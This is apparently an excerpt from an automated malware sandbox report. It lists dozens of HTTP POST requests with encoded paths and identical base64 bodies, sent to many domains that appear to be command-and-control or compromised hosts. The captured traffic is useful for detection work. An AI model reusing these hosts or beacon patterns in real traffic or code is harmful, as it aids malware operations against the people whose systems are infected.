Source: global traffic	HTTP traffic detected: POST /lBawcxb5/PRIkIhkREyEULhktHQIsAQQxP39zQ3p1fWV7fXRheWR4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/fCd/RX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/KgEcGBw6EB89ADsrEQgOOjMZOgUyIR87CSVDenV9ZXt9dGF5ZHg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/KhMTJiIzDwM1PAQlMRYnMQYhficTMyMgLTpDenV9ZXt9dGF5ZHg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/HTkqIQkgOx59DSgOPgt/fCchJj5zfXg4AwZDenV9ZXt9dGF5ZHg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/LhIABRY7BSM2CBEuQn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/exgmfzsJAhIqfQ06Bh88PQIsRX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/H0N6dX1le310YXlkeA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/L3wMFHwHIRJ0OSkuPgoLDQ4DIkZ6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/IBoBKXoKIgo2ORkuGHUOKiU7HC0bCTMvRnpzeWJ+fXJlfmF4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/PHkHfSgmeQN/GScNKhlGenN5Yn59cmV+YXg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /DlOBqKAf/PB4BBQR4cg87IiF8cgVGenN5Yn59cmV+YXg= HTTP/1.1Host: opulent-imports.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/PRIkIhkREyEULhktHQIsAQQxP39zQ3p1fWV7fXRheWR4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /9SqebpSMu/fQEdNBwFeEJ9dnlkenp3ZXhlfw== HTTP/1.1Host: nitro2point0.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /7fTwg0V7/DXoYDyNyJB8oKiEHLBYdJykoGEZ6c3lifn1yZX5heA== HTTP/1.1Host: streamline-trade.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /hWo6FObvrdp/E3I9OQQ5Cwg5GyJzDwF6PhI7dUZ6c3lifn1yZX5heA== HTTP/1.1Host: sologicgroup.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /gnYxifRY/DgERDQ0fBA4dCyw5EiEffXMyRX5yeGV9eXNkeWJ8 HTTP/1.1Host: pedroaros.clContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /QFm9qbfjT/GjkADyUYD3oKOx0lOD0KOCURIiw8CEJ9dnlkenp3ZXhlfw== HTTP/1.1Host: apimar.euContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /IfpAV6qS/HD0hGnwRJQ8CBTpyHQYeHg8EAAVzIEJ9dnlkenp3ZXhlfw== HTTP/1.1Host: baetrading.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /oHbAKuM0/CA5yfg0zKSN5AXtDenV9ZXt9dGF5ZHg= HTTP/1.1Host: ditrpshop.inContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /s6ImD3DAJs/EQ8bRX5yeGV9eXNkeWJ8 HTTP/1.1Host: surveillantfire.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /DlOBqKAf/fCd/RX5yeGV9eXNkeWJ8 HTTP/1.1Host: opulent-imports.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /VIVB6kFar/InIlKh1yBS96NyYmLxgHJC4fRX5yeGV9eXNkeWJ8 HTTP/1.1Host: dhananialegalaid.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /9SqebpSMu/KhMTJiIzDwM1PAQlMRYnMQYhficTMyMgLTpDenV9ZXt9dGF5ZHg= HTTP/1.1Host: nitro2point0.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /n1n3Sh4NSO08/KBBCfXZ5ZHp6d2V4ZX8= HTTP/1.1Host: aulaintelimundo.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /7fTwg0V7/LhIABRY7BSM2CBEuQn12eWR6endleGV/ HTTP/1.1Host: streamline-trade.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /IvyhnWs8j/eCcMPD8NeSd1LSw+Hi1GenN5Yn59cmV+YXg= HTTP/1.1Host: muwatin.netContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /hWo6FObvrdp/H0N6dX1le310YXlkeA== HTTP/1.1Host: sologicgroup.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /a9TmwEDR/IxkBLygdGQ4pey95Ji4HDnk8NSYMBS04fAAnQn12eWR6endleGV/ HTTP/1.1Host: nkp.hrContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /gnYxifRY/IBoBKXoKIgo2ORkuGHUOKiU7HC0bCTMvRnpzeWJ+fXJlfmF4 HTTP/1.1Host: pedroaros.clContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /Y3kzp0WtE0/PQwlJSU8JC8lO31DenV9ZXt9dGF5ZHg= HTTP/1.1Host: kvrassociates.netContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /IfpAV6qS/PB4BBQR4cg87IiF8cgVGenN5Yn59cmV+YXg= HTTP/1.1Host: baetrading.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /oHbAKuM0/fQEdNBwFeEJ9dnlkenp3ZXhlfw== HTTP/1.1Host: ditrpshop.inContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /4ByNgaVdId6/KX85G344OQ07N0J7cn5henxzYn1leQ== HTTP/1.1Host: marianaleyton.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /eJDLM6siEv/ETg7OCExOR8LIxECPSMlHARCfXZ5ZHp6d2V4ZX8= HTTP/1.1Host: profitshub.inContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /s6ImD3DAJs/DXoYDyNyJB8oKiEHLBYdJykoGEZ6c3lifn1yZX5heA== HTTP/1.1Host: surveillantfire.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/GCYaJQk6DgYpLX8iLDQuHBIzPzcieQoPJ3sSE0V+cnhlfXlzZHlifA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /VIVB6kFar/E3I9OQQ5Cwg5GyJzDwF6PhI7dUZ6c3lifn1yZX5heA== HTTP/1.1Host: dhananialegalaid.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Lit5Oh4tBDx8BCAjKTQqIx54OnoMeAQkRnpzeWJ+fXJlfmF4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /n1n3Sh4NSO08/DgERDQ0fBA4dCyw5EiEffXMyRX5yeGV9eXNkeWJ8 HTTP/1.1Host: aulaintelimundo.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
